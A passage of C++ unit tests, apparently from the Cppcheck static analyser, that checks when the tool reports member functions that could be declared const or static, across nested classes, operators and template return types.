\" std::string s;\\n\"\n \" void foo();\\n\"\n \" void foo(std::string & a);\\n\"\n \" void foo(const std::string & a);\\n\"\n \"};\\n\"\n \"void Fred::foo() { }\"\n \"void Fred::foo(std::string & a) { a = s; }\"\n \"void Fred::foo(const std::string & a) { s = a; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:7:12]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:4:10] -> [test.cpp:7:32]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // check functions with different or missing parameter names\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo1(int, int);\\n\"\n \" void foo2(int a, int b);\\n\"\n \" void foo3(int, int b);\\n\"\n \" void foo4(int a, int);\\n\"\n \" void foo5(int a, int b);\\n\"\n \"};\\n\"\n \"void Fred::foo1(int a, int b) { }\\n\"\n \"void Fred::foo2(int c, int d) { }\\n\"\n \"void Fred::foo3(int a, int b) { }\\n\"\n \"void Fred::foo4(int a, int b) { }\\n\"\n \"void Fred::foo5(int, int) { }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:9:12]: (performance, inconclusive) Technically the member function 'Fred::foo1' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:4:10] -> [test.cpp:10:12]: (performance, inconclusive) Technically the member function 'Fred::foo2' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:5:10] -> [test.cpp:11:12]: (performance, inconclusive) Technically the member function 'Fred::foo3' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:6:10] -> [test.cpp:12:12]: (performance, inconclusive) Technically the member function 'Fred::foo4' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:7:10] -> [test.cpp:13:12]: (performance, inconclusive) Technically the member function 'Fred::foo5' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // check nested classes\n checkConst(\"class Fred {\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA() { return a; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style, inconclusive) Technically the member function 'Fred::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" int A::getA() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:6:12]: (style, inconclusive) Technically the member function 'Fred::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \"};\\n\"\n \"int Fred::A::getA() { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:7:14]: (style, inconclusive) Technically the member function 'Fred::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n // check deeply nested classes\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB() { return b; }\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA() { return a; }\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\"\n , errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB();\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" int A::getA() { return a; }\\n\"\n \" };\\n\"\n \" int B::getB() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:11:12]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17] -> [test.cpp:9:16]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB();\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" };\\n\"\n \" int B::A::getA() { return a; }\\n\"\n \" int B::getB() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:11:12]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17] -> [test.cpp:10:15]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB();\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\\n\"\n \"int Fred::B::A::getA() { return a; }\\n\"\n \"int Fred::B::getB() { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:12:14]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17] -> [test.cpp:11:17]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\", errout_str());\n }\n\n // operator< can often be const\n void constoperator1() {\n checkConst(\"struct Fred {\\n\"\n \" int a;\\n\"\n \" bool operator<(const Fred &f) { return a < f.a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::operator<' can be const. [functionConst]\\n\", errout_str());\n }\n\n // operator<<\n void constoperator2() {\n checkConst(\"struct Foo {\\n\"\n \" void operator<<(int);\\n\"\n \"};\\n\"\n \"struct Fred {\\n\"\n \" Foo foo;\\n\"\n \" void x()\\n\"\n \" {\\n\"\n \" foo << 123;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Foo {\\n\"\n \" void operator<<(int);\\n\"\n \"};\\n\"\n \"struct Fred {\\n\"\n \" Foo foo;\\n\"\n \" void x()\\n\"\n \" {\\n\"\n \" std::cout << foo << 123;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style, inconclusive) Technically the member function 'Fred::x' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constoperator3() {\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" int const & operator [] (unsigned int index) const { return array[index]; }\\n\"\n \" int & operator [] (unsigned int index) { return array[index]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" int const & operator [] (unsigned int index) { return array[index]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style, inconclusive) Technically the member function 'Fred::operator[]' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constoperator4() {\n // #7953\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator int*() { return &c; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator const int*() { return &c; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style, inconclusive) Technically the member function 'A::operatorconstint*' can be const. [functionConst]\\n\", errout_str());\n\n // #2375\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" typedef int* (Fred::*UnspecifiedBoolType);\\n\"\n \" operator UnspecifiedBoolType() { };\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (style, inconclusive) Technically the member function 'Fred::operatorint**' can be const.\\n\", \"\", errout_str());\n\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" typedef int* (Fred::*UnspecifiedBoolType);\\n\"\n \" operator UnspecifiedBoolType() { array[0] = 0; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constoperator5() { // ticket #3252\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator int& () {return c}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator const int& () {return c}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style, inconclusive) Technically the member function 'A::operatorconstint&' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator int () {return c}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style, inconclusive) Technically the member function 'A::operatorint' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constoperator6() { // ticket #8669\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \" void f() { os >> *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const5() {\n // ticket #1482\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \" bool foo(int i)\\n\"\n \" {\\n\"\n \" bool same;\\n\"\n \" same = (i == a);\\n\"\n \" return same;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const6() {\n // ticket #1491\n checkConst(\"class foo {\\n\"\n \"public:\\n\"\n \"};\\n\"\n \"void bar() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void foo() { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct fast_string\\n\"\n \"{\\n\"\n \" union\\n\"\n \" {\\n\"\n \" char buff[100];\\n\"\n \" };\\n\"\n \" void set_type(char t);\\n\"\n \"};\\n\"\n \"inline void fast_string::set_type(char t)\\n\"\n \"{\\n\"\n \" buff[10] = t;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const7() {\n checkConst(\"class foo {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" void set(int i) { a = i; }\\n\"\n \" void set(const foo & f) { *this = f; }\\n\"\n \"};\\n\"\n \"void bar() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const8() {\n // ticket #1517\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A():m_strValue(\\\"\\\"){}\\n\"\n \" std::string strGetString() { return m_strValue; }\\n\"\n \"private:\\n\"\n \" std::string m_strValue;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style, inconclusive) Technically the member function 'A::strGetString' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const9() {\n // ticket #1515\n checkConst(\"class wxThreadInternal {\\n\"\n \"public:\\n\"\n \" void SetExitCode(wxThread::ExitCode exitcode) { m_exitcode = exitcode; }\\n\"\n \"private:\\n\"\n \" wxThread::ExitCode m_exitcode;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const10() {\n // ticket #1522\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { return x = 0; }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { return x ? x : x = 0; }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { return x ? x = 0 : x; }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const11() {\n // ticket #1529\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" void set(struct tm time) { m_time = time; }\\n\"\n \"private:\\n\"\n \" struct tm m_time;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const12() {\n // ticket #1525\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { x = 0; }\\n\"\n \"private:\\n\"\n \" mutable int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'A::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const13() {\n // ticket #1519\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::vector GetVec() {return m_vec;}\\n\"\n \" std::pair GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::vector m_vec;\\n\"\n \" std::pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:22]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\"\n \"[test.cpp:5:27]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::vector & GetVec() {return m_vec;}\\n\"\n \" const std::pair & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::vector m_vec;\\n\"\n \" std::pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:30]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\"\n \"[test.cpp:5:35]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const14() {\n // extends ticket 1519\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair,double> GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair,double> m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair,double>& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair,double> m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:47]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair,double>& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair,double> m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const pair & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:31]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int,std::vector > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< int,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:47]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair< vector, int > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair< vector, int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:31]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const pair< vector, int >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair< vector, int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:38]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair< vector, int >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair< vector, int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::vector,std::vector > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::vector,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:53]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< std::vector,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::vector,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:60]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::vector,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::vector,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::pair < int, char > , int > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::pair < int, char > , int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:49]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< std::pair < int, char > , int > & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::pair < int, char > , int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:56]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::pair < int, char > , int > & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::pair < int, char > , int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int , std::pair < int, char > > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int , std::pair < int, char > > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:49]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< int , std::pair < int, char > >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int , std::pair < int, char > > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:56]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int , std::pair < int, char > >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int , std::pair < int, char > > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" vector GetVec() {return m_Vec;}\\n\"\n \"private:\\n\"\n \" vector m_Vec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const vector& GetVec() {return m_Vec;}\\n\"\n \"private:\\n\"\n \" vector m_Vec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" vector& GetVec() {return m_Vec;}\\n\"\n \"private:\\n\"\n \" vector m_Vec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int * * foo() { return &x; }\\n\"\n \"private:\\n\"\n \" const int * x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" const int ** foo() { return &x; }\\n\"\n \"private:\\n\"\n \" const int * x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (style, inconclusive) Technically the member function 'A::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const15() {\n checkConst(\"class Fred {\\n\"\n \" unsigned long long int a;\\n\"\n \" unsigned long long int getA() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style, inconclusive) Technically the member function 'Fred::getA' can be const. [functionConst]\\n\", errout_str());\n\n // constructors can't be const..\n checkConst(\"class Fred {\\n\"\n \" unsigned long long int a;\\n\"\n \"public:\\n\"\n \" Fred() { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment through |=..\n checkConst(\"class Fred {\\n\"\n \" unsigned long long int a;\\n\"\n \" unsigned long long int setA() { a |= true; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // static functions can't be const..\n checkConst(\"class foo\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" static unsigned long long int get()\\n\"\n \" { return 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const16() {\n // ticket #1551\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void set(int i) { Fred::a = i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const17() {\n // ticket #1552\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" void set(int i, int j) { a[i].k = i; }\\n\"\n \"private:\\n\"\n \" struct { int k; } a[4];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const18() {\n checkConst(\"class Fred {\\n\"\n \"static int x;\\n\"\n \"public:\\n\"\n \" void set(int i) { x = i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'Fred::set' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const19() {\n // ticket #1612\n checkConst(\"using namespace std;\\n\"\n \"class Fred {\\n\"\n \"private:\\n\"\n \" std::string s;\\n\"\n \"public:\\n\"\n \" void set(std::string ss) { s = ss; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const20() {\n // ticket #1602\n checkConst(\"class Fred {\\n\"\n \" int x : 3;\\n\"\n \"public:\\n\"\n \" void set(int i) { x = i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" list x;\\n\"\n \"public:\\n\"\n \" list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" list x;\\n\"\n \"public:\\n\"\n \" list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style, inconclusive) Technically the member function 'Fred::get' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::list x;\\n\"\n \"public:\\n\"\n \" std::list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::list x;\\n\"\n \"public:\\n\"\n \" std::list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:36]: (style, inconclusive) Technically the member function 'Fred::get' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const21() {\n // ticket #1683\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" const char * l1[10];\\n\"\n \"public:\\n\"\n \" A()\\n\"\n \" {\\n\"\n \" for (int i = 0 ; i < 10; l1[i] = NULL, i++);\\n\"\n \" }\\n\"\n \" void f1() { l1[0] = \\\"Hello\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const22() {\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" B::C * v1;\\n\"\n \"public:\\n\"\n \" void f1() { v1 = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" B::C * v1[0];\\n\"\n \"public:\\n\"\n \" void f1() { v1[0] = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const23() {\n checkConst(\"class Class {\\n\"\n \"public:\\n\"\n \" typedef Template Type;\\n\"\n \" typedef Template2 Type2;\\n\"\n \" void set_member(Type2 m) { _m = m; }\\n\"\n \"private:\\n\"\n \" Type2 _m;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const24() {\n checkConst(\"class Class {\\n\"\n \"public:\\n\"\n \"void Settings::SetSetting(QString strSetting, QString strNewVal)\\n\"\n \"{\\n\"\n \" (*m_pSettings)[strSetting] = strNewVal;\\n\"\n \"}\\n\"\n \"private:\\n\"\n \" std::map *m_pSettings;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void const25() { // ticket #1724\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVal=\\\"\\\";}\\n\"\n \"std::string strGetString() const\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"const std::string strGetString1() const\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"private:\\n\"\n \"std::string m_strVal;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVal=\\\"\\\";}\\n\"\n \"std::string strGetString()\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"private:\\n\"\n \"std::string m_strVal;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style, inconclusive) Technically the member function 'A::strGetString' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVal=\\\"\\\";}\\n\"\n \"const std::string strGetString1()\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"private:\\n\"\n \"std::string m_strVal;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:19]: (style, inconclusive) Technically the member function 'A::strGetString1' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVec.push_back(\\\"\\\");}\\n\"\n \"size_t strGetSize()\\n\"\n \"{return m_strVec.size();}\\n\"\n \"private:\\n\"\n \"std::vector m_strVec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: (style, inconclusive) Technically the member function 'A::strGetSize' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class 